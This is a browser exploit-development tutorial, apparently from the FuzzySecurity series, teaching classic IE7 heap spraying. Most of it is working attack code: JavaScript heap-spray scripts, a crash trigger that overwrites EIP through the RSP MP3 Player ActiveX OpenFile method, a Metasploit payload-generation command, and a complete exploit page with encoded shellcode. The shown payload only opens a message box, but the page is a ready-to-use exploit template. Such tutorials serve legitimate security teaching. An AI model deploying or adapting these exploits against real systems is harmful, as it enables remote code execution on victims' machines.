<html>
<body>
<script language='javascript'>
var myvar = unescape(
'%u7546%u7a7a%u5379'+ // ASCII
'%u6365%u7275%u7469'+ // FuzzySecurity
'%u9079'); //
alert("allocation done");
</script>
</body>
</html>
Part 8: Spraying the Heap [Chapter 1: Vanilla EIP] – Putting Needles in the Haystack
This is the part 1 in a 2-part tutorial about heap spraying. This part will cover "classic" heap sprays in IE7, part 2 will cover precision heap sprays and Use-After-Free on IE8. Spraying the heap has nothing to do with heap exploitation nor with bypassing any exploit mitigation technique rather it is a payload delivery method. Mostly you will need this technique when exploiting browsers (also flash, PDF's and MS Office). With buffer overflows we always rely on the fact that we can allocate memory on the stack (or heap) and write shellcode to it. Though you may be able to allocate memory in browser or ActiveX exploits there is a better, more reliable, badchar-free way so strap in a prepare to throttle the heap.
For browser exploitation I’m a bit torn between immunity debugger and WinDBG. It seems to me that immunity is good to visualize the data and hop around in memory but WinDBG seems faster, more reliable and has some features which are really practical (most notably the use javascript breakpoints). I leave the choice up to you, the advantages of WinDBG will become more apparent in "part 2". I will mention that you need to customize WinDBG before you start using it and set up Windows Symbols to get a full and enjoyable experience!
To introduce this technique we will be creating a new exploit for "RSP MP3 Player". There is one previous exploit for this program here. When you start playing around with browsers you will often find it useful to have multiple versions of IE installed. Go here and grab a copy of IE-Collection, update your system browser to the latest version and then install the previous versions with IE-Collection.
Debugging Machine: Windows XP SP3 with IE7
Vulnerable Software: Download
Introduction
First of all I want to give full credit where it belongs with corelanc0d3r. "Heap Spraying Demystified" does an excellent and in-depth job of explaining the finer points about Heap Spraying for the purposes of payload delivery. I apologize beforehand for parroting allot of the work done by corelanc0d3r but I reiterate the theory for my own purposes; showing a practical bug to exploit example in a condensed form.
The stack comprises only a small part of the total available memory space. The heapmanager can hand out chunks of memory dynamically when, for example, programs need to store data without having any clear pre-defined rules about the data-size. The Heap is a serious beast and as always I can't/won't explain everything there is to know but I will give you enough information to help you along.
There are a couple of simple things we need to know about the heap allocator. (1) As memory is dynamically allocated and freed the heap becomes fragmented. (2) When a chunk of memory on the heap is freed it will either be sent to the front-end or back-end allocator (depending on the OS and architecture). The allocator is like a caching service to optimize chunk allocations. Like we mentioned before allocations and frees fragment the heap (=bad), to minimize this fragmentation the allocator can provide the application with heap-memory that has previously been freed, provided it has the same size, thus reducing the amount of new allocations (=good). (3) Though the heap memory is handed out dynamically the heap allocator will prefer to allocate consecutive chunks (again to reduce fragmentation). This means that the heap is essentially deterministic from an attackers perspective. Given enough large consecutive allocations we will be able to reliable put data in a certain place on the heap where we can use it (with a minimum amount of entropy).
The concept of "heap spraying" was first introduced by blazde and SkyLined in 2004 when it was used in the Internet Explorer iframe tag buffer overflow exploit. This same generic technique has been used by most browser exploits up to IE7, firefox 3.6.24, Opera 11.60. More precise heap spraying in later browsers will be covered in "part 2" of this tutorial.
Think about it this way. If a bug (whether it's a vanilla EIP, Use-After-Free, etc) gives us an arbitrary 4-byte write and we can create a code-cave on the heap to store our payload then we can use that write to redirect execution flow to our shellcode and b00m we have code execution! Javascript to the rescue! The awesome thing is that javascript can directly allocate stings on the heap and with a bit a craftiness we can mold the heap to suite our needs for any browser we want to exploit! The main "chunk" of this tutorial will be spent on explaining how we can get reliable allocation on the heap. The image below should give you an idea of what we want to accomplish.
That should be enough to peek your interest. First we will go through the process of making heap allocations and then we will apply that knowledge to write an ActiveX exploit.
Heaps of Shellcode
Like I mentioned before heap spraying is a payload delivery technique that takes advantage of legitimate javascript features. Let have a go at allocating some simple strings on the heap.
We can see from the screenshot below that we managed to put our ASCII string on the heap. Take note that we are using javascript unescape otherwise our string would be stored in UNICODE.
s -a 0x00000000 L?7fffffff "FuzzySecurity"
d 032e3fdc
Heap String
So far so good but remember our goal is to fill the heap with sequences of NOP's + Shellcode. Lets try to modify our javascript so we can define NOP's, shellcode and can continuously keep storing this sequence as "blocks" on the heap.
<html>
<body>
<script language='javascript'>
size = 0x3E8; // 1000-bytes
NopSlide = ''; // Initially set to be empty
var Shellcode = unescape(
'%u7546%u7a7a%u5379'+ // ASCII
'%u6365%u7275%u7469'+ // FuzzySecurity
'%u9079'); //
// Keep filling with nops till we reach 1000-bytes
for (c = 0; c < size; c++){
NopSlide += unescape('%u9090%u9090');}
// Subtract size of shelccode
NopSlide = NopSlide.substring(0,size - Shellcode.length);
// Spray our payload 50 times
var memory = new Array();
for (i = 0; i < 50; i++){
memory[i] = NopSlide + Shellcode;}
alert("allocation done");
</script>
</body>
</html>
Essentially we are creating a payload block with a size of 1000-bytes and then repeating this block 51 times (a range from 0-50 = 51 sprays). Below you can see the structure of our "blocks" if we represent them in python which may clear up some confusion.
"\x90"*(1000-len(shellcode)) + shellcode
Time to have a look at our allocations in WinDBG. As you can see below WinDBG now lists 51 instances of our ASCII string. If we trace the allocations it appears that the blocks in the beginning are sometimes surrounded by junk but further down the list we can see they are perfectly sequential.
0:013> s -a 0x00000000 L?7fffffff "FuzzySecurity" 02a4b03e 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 02a4b846 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 02a4c04e 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... [...Snip...] 0312e0f6 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 0312f0fe 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 03130106 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... Looking at 02a4c04e we can see the alignment is not perfect as there are allot of junk bytes between blocks: 0:013> d 02a4c04e 02a4c04e 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 02a4c05e 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 02a4c06e 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 02a4c07e 00 00 00 00 00 00 00 00-00 00 59 c0 48 e8 00 01 ..........Y.H... 02a4c08e 28 ff d0 07 00 00 90 90-90 90 90 90 90 90 90 90 (............... 02a4c09e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 02a4c0ae 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 02a4c0be 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ However if we start from the last block and look back in steps of 1000-bytes we can see the allocations look pretty good! 0:013> d 03130106-20 031300e6 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 031300f6 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 03130106 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 03130116 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 03130126 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 03130136 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 03130146 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 03130156 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0:013> d 03130106-20-1000 0312f0e6 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0312f0f6 90 90 90 90 90 90 90 90-46 75 7a 7a 79 53 65 63 ........FuzzySec 0312f106 75 72 69 74 79 90 00 00-90 90 90 90 90 90 90 90 urity........... 0312f116 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0312f126 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0312f136 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0312f146 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0312f156 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0:013> d 03130106-20-2000 0312e0e6 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0312e0f6 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 0312e106 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0312e116 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0312e126 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0312e136 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0312e146 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0312e156 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0:013> d 03130106-20-3000 0312d0e6 90 90 90 90 90 90 90 90-46 75 7a 7a 79 53 65 63 ........FuzzySec 0312d0f6 75 72 69 74 79 90 00 00-90 90 90 90 90 90 90 90 urity........... 0312d106 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0312d116 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0312d126 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0312d136 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0312d146 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0312d156 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
Ok that’s not to bad we have come quite a way. But admittedly we have also been a bit fortunate with our consecutive allocations. What we really want to do now is: (1) Spray allot more data so we fill up more heap-memory (overwriting higher memory ranges) and (2) modify the "block" size so that IE allocates one block per BSTR object thus increasing reliability of the sequential allocations and reducing the risk the we may hit a dead-zone between "blocks". Below you can find our final heap-spray script (which is also used in publicly available exploits). I tested this script on all versions of IE up to IE7 and it is very consistent.
<html>
<body>
<script language='javascript'>
var Shellcode = unescape(
'%u7546%u7a7a%u5379'+ // ASCII
'%u6365%u7275%u7469'+ // FuzzySecurity
'%u9079'); //
var NopSlide = unescape('%u9090%u9090');
var headersize = 20;
var slack = headersize + Shellcode.length;
while (NopSlide.length < slack) NopSlide += NopSlide;
var filler = NopSlide.substring(0,slack);
var chunk = NopSlide.substring(0,NopSlide.length - slack);
while (chunk.length + slack < 0x40000) chunk = chunk + chunk + filler;
var memory = new Array();
for (i = 0; i < 500; i++){ memory[i] = chunk + Shellcode }
alert("allocation done");
</script>
</body>
</html>
This script sprays much larger blocks 0x40000 (= 262144 bytes = 0.25 mb) and repeats these blocks 500 times (= 125 mb heap spray). Also consider that the size of our shellcode isn't likely to be larger than 1000-bytes which means that our blocks are comprised of about 99.997% NOP's which makes jumping to them extremely reliable! Lets have a look at what the spray looks like in WinDBG.
Looking at our string in memory show us that the offset from the start of the heap enrty to our payload seems to be consisten across all sprays (except in the beginning but that is due to pre-existing fragmentation). This is a good sign for reliability. We can also see that the memory range we are overwriting is much much larger. 0:014> s -a 0x00000000 L?7fffffff "FuzzySecurity" 02a34010 46 75 7a 7a 79 53 65 63-75 72 69 74 79 0d 0a 20 FuzzySecurity.. 030ca75c 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 03b4ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 03c6ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 03cfffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 03d8ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 03e1ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 03eaffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 03f3ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... [...Snip...] 1521ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 152affee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 1533ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 153cffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 1545ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 154effee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 1557ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... Looking at the process environment block (PEB) will tell us what the default ProcessHeap is (this is where our allocations will be stored). Alternatively you can run "!heap -stat" and look at the ammount of commited bytes on a per-heap basis. 0:014> !peb PEB at 7ffd8000 InheritedAddressSpace: No ReadImageFileExecOptions: No BeingDebugged: Yes ImageBaseAddress: 00400000 Ldr 00251e90 Ldr.Initialized: Yes Ldr.InInitializationOrderModuleList: 00251f28 . 002557d8 Ldr.InLoadOrderModuleList: 00251ec0 . 00255918 Ldr.InMemoryOrderModuleList: 00251ec8 . 00255920 Base TimeStamp Module 400000 46c108d9 Aug 14 09:43:53 2007 C:\Program Files\Utilu IE Collection\IE700\iexplore.exe 7c900000 4d00f29d Dec 09 23:15:41 2010 C:\WINDOWS\system32\ntdll.dll 7c800000 49c4f2bb Mar 21 21:59:23 2009 C:\WINDOWS\system32\kernel32.dll 77dd0000 49900be3 Feb 09 18:56:35 2009 C:\WINDOWS\system32\ADVAPI32.dll 77e70000 4c68fa30 Aug 16 16:43:28 2010 C:\WINDOWS\system32\RPCRT4.dll [...Snip...] 767f0000 4c2b375b Jun 30 20:23:55 2010 C:\WINDOWS\system32\schannel.dll 77c70000 4aaa5b06 Sep 11 22:13:26 2009 C:\WINDOWS\system32\msv1_0.dll 76790000 4802a0d9 Apr 14 08:10:01 2008 C:\WINDOWS\system32\cryptdll.dll 76d60000 4802a0d0 Apr 14 08:09:52 2008 C:\WINDOWS\system32\iphlpapi.dll SubSystemData: 00000000 ProcessHeap: 00150000 ProcessParameters: 00020000 CurrentDirectory: 'C:\Documents and Settings\Administrator\Desktop\' WindowTitle: 'C:\Program Files\Utilu IE Collection\IE700\iexplore.exe' ImageFile: 'C:\Program Files\Utilu IE Collection\IE700\iexplore.exe' CommandLine: 'about:home' [...Snip...] Ok lets print out allocation statistics for this heap specifically. We can see that 98.63% of the busy blocks in this heap belong to our spray. 0:014> !heap -stat -h 00150000 heap @ 00150000 group-by: TOTSIZE max-display: 20 size #blocks total ( %) (percent of total busy bytes) 7ffe0 1f4 - f9fc180 (98.63) 3fff8 3 - bffe8 (0.30) 1fff8 4 - 7ffe0 (0.20) 7ffd0 1 - 7ffd0 (0.20) 7ff8 b - 57fa8 (0.14) fff8 5 - 4ffd8 (0.12) 1ff8 21 - 41ef8 (0.10) 3ff8 d - 33f98 (0.08) ff8 f - ef88 (0.02) 7f8 18 - bf40 (0.02) 8fc1 1 - 8fc1 (0.01) 7fe0 1 - 7fe0 (0.01) 7fd0 1 - 7fd0 (0.01) 7db4 1 - 7db4 (0.01) 614 14 - 7990 (0.01) 57e0 1 - 57e0 (0.01) 20 208 - 4100 (0.01) 5e4 b - 40cc (0.01) 4e4 c - 3ab0 (0.01) 3980 1 - 3980 (0.01) We can also list all blocks that have the same size (in our case 0x7ffe0) 0:014> !heap -flt s 7ffe0 _HEAP @ 150000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 03ad0018 fffc 0000 [0b] 03ad0020 7ffe0 - (busy VirtualAlloc) 03bf0018 fffc fffc [0b] 03bf0020 7ffe0 - (busy VirtualAlloc) 03c80018 fffc fffc [0b] 03c80020 7ffe0 - (busy VirtualAlloc) 03d10018 fffc fffc [0b] 03d10020 7ffe0 - (busy VirtualAlloc) 03da0018 fffc fffc [0b] 03da0020 7ffe0 - (busy VirtualAlloc) 03e30018 fffc fffc [0b] 03e30020 7ffe0 - (busy VirtualAlloc) 03ec0018 fffc fffc [0b] 03ec0020 7ffe0 - (busy VirtualAlloc) 03f50018 fffc fffc [0b] 03f50020 7ffe0 - (busy VirtualAlloc) [...Snip...] 15110018 fffc fffc [0b] 15110020 7ffe0 - (busy VirtualAlloc) 151a0018 fffc fffc [0b] 151a0020 7ffe0 - (busy VirtualAlloc) 15230018 fffc fffc [0b] 15230020 7ffe0 - (busy VirtualAlloc) 152c0018 fffc fffc [0b] 152c0020 7ffe0 - (busy VirtualAlloc) 15350018 fffc fffc [0b] 15350020 7ffe0 - (busy VirtualAlloc) 153e0018 fffc fffc [0b] 153e0020 7ffe0 - (busy VirtualAlloc) 15470018 fffc fffc [0b] 15470020 7ffe0 - (busy VirtualAlloc) 15500018 fffc fffc [0b] 15500020 7ffe0 - (busy VirtualAlloc)
By now you may be telling yourself: "Well this is cool and all but what is the point?". Well normally in exploit development when we have a 4-byte write we will overwrite that with a pointer to an instruction in one of the application modules. For reliability we never directly overwrite that pointer (eg EIP) with the address of our shellcode in memory. In the case of heap sprays we can directly determine the heap-memory layout and make sure any static memory address we use in our 4-byte write points to our NOP's on the heap. Even if the same address doesn't always point to the exact same place in our buffer (eg the heap at the time of the spray may be more fragmented) our NOP-slide (remember 99.997%) is so large that we can be sure we will hit it every time we launch our exploit. Once the NOP's have been execute we will hit our shellcode and have code execution! You can see the usual suspects that we will look at to find a suitable pointer below. If we have a look at the opcode at these addresses we will see that our suspicions are confirmed.
Predictable Pointers:
- 0x05050505
- 0x06060606
- 0x07070707
- ....
Another address that has special significance is 0x0c0c0c0c but that will be explained in part-2 of this tutorial.
NOP's
0:014> d 04040404 04040404 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 04040414 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 04040424 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 04040434 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 04040444 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 04040454 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 04040464 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 04040474 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0:014> d 05050505 05050505 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 05050515 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 05050525 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 05050535 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 05050545 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 05050555 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 05050565 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 05050575 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0:014> d 06060606 06060606 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 06060616 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 06060626 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 06060636 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 06060646 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 06060656 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 06060666 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 06060676 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
Again this part of the tutorial deals with "classic" heap sprays where we don't have to worry to much about precision. Part-2 will cover sprays which require extreme precision either because (1) we have to deal with DEP and/or (2) we are exploiting a Use-After-Free. Well the groundwork has been laid for our exploit so it's time to pop a shell.
Replicating The Crash + EIP
Download RSP MP3 Player from the link at the beginning of the tutorial. To register the ocx file open a command prompt browse to the folder that contains the ocx file and type "regsvr32 rspmp3ocx320sw.ocx", you should get a popup saying the file was successfully registered. Also get a copy of COMRaider here and install it, COMRaider is a crude but effective ActiveX fuzzer which is easy to use and provides you with test cases for the crashes (albeit in vbscript). If we look at the original exploit here we can see that the crash occurs in the OpenFile ocx member function. If we only fuzz that member we can see that we trigger 14 exceptions out of 18 cases total. I haven’t taken the time to fuzz rspmp3ocx320sw.ocx entirely but I suspect if you do you'll find lots of exploitable crashes!
COMRaider
OpenFile
Poor Programming
If we look at one of the test cases that causes a crash we can see that it is very similar to the exploit on exploit-db.
<?XML version='1.0' standalone='yes' ?> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:3C88113F-8CEC-48DC-A0E5-983EF9458687' id='target' /> <script language='vbscript'> 'File Generated by COMRaider v0.0.133 - http://labs.idefense.com 'Wscript.echo typename(target) 'for debugging/custom prolog targetFile = "C:\Documents and Settings\Administrator\Desktop\RSP MP3 Player\rspmp3ocx320sw.ocx" prototype = "Function OpenFile ( ByVal Inputfile As String )" memberName = "OpenFile" progid = "RSPMP3_320.RSPMP3" argCount = 1 arg1=String(1044, "A") target.OpenFile arg1 </script></job></package>
After a bit of sleuthing and converting the vbscript to javascrip I came up with the html below that will trigger the crash. We gain control over EIP through the Structured Exception Handler but we don't really care, all we want to achieve is overwrite EIP with one of the predictable pointers from our heap spray.
<html>
<head>
<object id="Oops" classid='clsid:3C88113F-8CEC-48DC-A0E5-983EF9458687'></object>
</head>
<body>
<script>
pointer='';
for (counter=0; counter<=1000; counter++) pointer+=unescape("%06");
Oops.OpenFile(pointer);
</script>
</body>
</html>
eax=000003ea ebx=00000001 ecx=0000003c edx=0483fd08 esi=03ff0f64 edi=04840000 eip=03ed2fb7 esp=04826e90 ebp=0483ff9c iopl=0 nv up ei pl nz ac pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010217 rspmp3ocx1+0x2fb7: 03ed2fb7 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] 0:014> g (87c.f6c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=00000000 ecx=06060606 edx=7c9032bc esi=00000000 edi=00000000 eip=06060606 esp=04826ac0 ebp=04826ae0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 06060606 ?? ??? 0:014> d 06060606 06060606 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 06060616 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 06060626 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 06060636 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 06060646 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 06060656 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 06060666 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 06060676 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
As we can see we successfully overwrite EIP with 0x06060606 (one of our predictable pointers) and execution flow errors out because there are as of yet no instructions at that address. As a matter of interest our buffer isn't very precise I think SEH is somewhere around 650-bytes into the buffer but again this isn't to important as we just need EIP as a trampoline to our heap spray.
Shellcode + Game Over
Ok first off lets generate some desirable shellcode for our exploit. We need to remember to encode it as javascript Little Endian.
root@bt:~# msfpayload windows/messagebox O Name: Windows MessageBox Module: payload/windows/messagebox Version: 13403 Platform: Windows Arch: x86 Needs Admin: No Total size: 270 Rank: Normal Provided by: corelanc0d3r jduck <jduck@metasploit.com> Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none ICON NO yes Icon type can be NO, ERROR, INFORMATION, WARNING or QUESTION TEXT Hello, from MSF! yes Messagebox Text (max 255 chars) TITLE MessageBox yes Messagebox Title (max 255 chars) Description: Spawns a dialog via MessageBox using a customizable title, text & icon root@bt:~# msfpayload windows/messagebox text='Oww Snap!' title='b33f' O Name: Windows MessageBox Module: payload/windows/messagebox Version: 13403 Platform: Windows Arch: x86 Needs Admin: No Total size: 255 Rank: Normal Provided by: corelanc0d3r jduck <jduck@metasploit.com> Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none ICON NO yes Icon type can be NO, ERROR, INFORMATION, WARNING or QUESTION TEXT Oww Snap! yes Messagebox Text (max 255 chars) TITLE b33f yes Messagebox Title (max 255 chars) Description: Spawns a dialog via MessageBox using a customizable title, text & icon root@bt:~# msfpayload windows/messagebox text='Oww Snap!' title='b33f' R| msfencode -t js_le [*] x86/shikata_ga_nai succeeded with size 282 (iteration=1) %u22bb%ua82f%udb56%ud9dd%u2474%u58f4%uc931%u40b1%u5831%u0315%u1558%uc083%ue204%uf6d7%ucd43 %u7dce%u06b0%uafc1%u910a%u9910%ud50f%u2923%u9f5b%uc2cf%u7c2d%u9244%uf7d9%u3b24%u3151%u74e0 %u4b7d%ud2e3%u627c%u04fc%u0f1e%ue36e%u84fb%ud72b%ucf88%u5f9b%u058e%ud550%u5288%uca3c%u8fa9 %u3e23%uc4e3%ub497%u34f2%u35e6%u08c5%u66f4%u49a2%u7070%u866a%u7f75%uf2ab%u4471%u214f%uce51 %ua24e%u14fb%u5e90%udf9d%ueb9e%ubaea%uea82%ub107%u67bf%u2ed6%u3336%ub2fc%u7f28%uc24e%uab83 %u3627%u915a%u375f%u1813%u1573%ubb44%u6574%u4d6b%u9ecf%u302f%u7c17%u4a3c%ua5bb%ubc91%u5a4d %uc2ea%ue0d8%u551d%u86b6%ue43d%u642e%uc80c%ue2ca%u6705%u8177%udb6d%u6f53%u02e7%u90cd%ucea2 %uac78%u741d%u93d2%u36d3%uc8a5%u14cf%u9141%u66f0%u3a6e%ub957%u9bb0%udb0f%ue883%u2aa9%u8638 %u696a%u1eba%u1971%u78e3%ufa56%u2b8b%u9bf8%ua43b%u2b4b%u14cc%u1a65%u19ba%u95a1%u4033%u7798 %ud011%u258a%u066a%u0a1d%u58c4%u820b
Ok now lets clean up our POC, add comments and add the heap spray we created above. The only modification we need to make to the heap spray is put in the shellcode we just generated!
<!--------------------------------------------------------------------------------
// Exploit: RSP MP3 Player OCX ActiveX Heap Spray //
// Author: b33f - http://www.fuzzysecurity.com/ //
// OS: Tested on XP PRO SP3 //
// Browser: IE 7.00 //
// Software: http://www.exploit-db.com/wp-content/themes/exploit/applications/ //
// 16fc339cccdb34dd45af52de8c046d8d-rsp_mp3_ocx_3.2.0_sw.zip //
//------------------------------------------------------------------------------//
// This exploit was created for Part 8 of my Exploit Development tutorial //
// series => http://www.fuzzysecurity.com/tutorials/expDev/8.html //
--------------------------------------------------------------------------------->
<html>
<head>
<object id="Oops" classid='clsid:3C88113F-8CEC-48DC-A0E5-983EF9458687'></object>
</head>
<body>
<script>
//msfpayload windows/messagebox text='Oww Snap!' title='b33f' R| msfencode -t js_le
var Shellcode = unescape(
'%u22bb%ua82f%udb56%ud9dd%u2474%u58f4%uc931%u40b1%u5831%u0315%u1558%uc083%ue204%uf6d7%ucd43'+
'%u7dce%u06b0%uafc1%u910a%u9910%ud50f%u2923%u9f5b%uc2cf%u7c2d%u9244%uf7d9%u3b24%u3151%u74e0'+
'%u4b7d%ud2e3%u627c%u04fc%u0f1e%ue36e%u84fb%ud72b%ucf88%u5f9b%u058e%ud550%u5288%uca3c%u8fa9'+
'%u3e23%uc4e3%ub497%u34f2%u35e6%u08c5%u66f4%u49a2%u7070%u866a%u7f75%uf2ab%u4471%u214f%uce51'+
'%ua24e%u14fb%u5e90%udf9d%ueb9e%ubaea%uea82%ub107%u67bf%u2ed6%u3336%ub2fc%u7f28%uc24e%uab83'+
'%u3627%u915a%u375f%u1813%u1573%ubb44%u6574%u4d6b%u9ecf%u302f%u7c17%u4a3c%ua5bb%ubc91%u5a4d'+
'%uc2ea%ue0d8%u551d%u86b6%ue43d%u642e%uc80c%ue2ca%u6705%u8177%udb6d%u6f53%u02e7%u90cd%ucea2'+
'%uac78%u741d%u93d2%u36d3%uc8a5%u14cf%u9141%u66f0%u3a6e%ub957%u9bb0%udb0f%ue883%u2aa9%u8638'+
'%u696a%u1eba%u1971%u78e3%ufa56%u2b8b%u9bf8%ua43b%u2b4b%u14cc%u1a65%u19ba%u95a1%u4033%u7798'+
'%ud011%u258a%u066a%u0a1d%u58c4%u820b');
var NopSlide = unescape('%u9090%u9090');
var headersize = 20;
var slack = headersize + Shellcode.length;
while (NopSlide.length < slack) NopSlide += NopSlide;
var filler = NopSlide.substring(0,slack);
var chunk = NopSlide.substring(0,NopSlide.length - slack);
while (chunk.length + slack < 0x40000) chunk = chunk + chunk + filler;
var memory = new Array();
for (i = 0; i < 500; i++){ memory[i] = chunk + Shellcode }
// Trigger crash => EIP = 0x06060606
pointer='';
for (counter=0; counter<=1000; counter++) pointer+=unescape("%06");
Oops.OpenFile(pointer);
</script>
</body>
</html>
Game Over!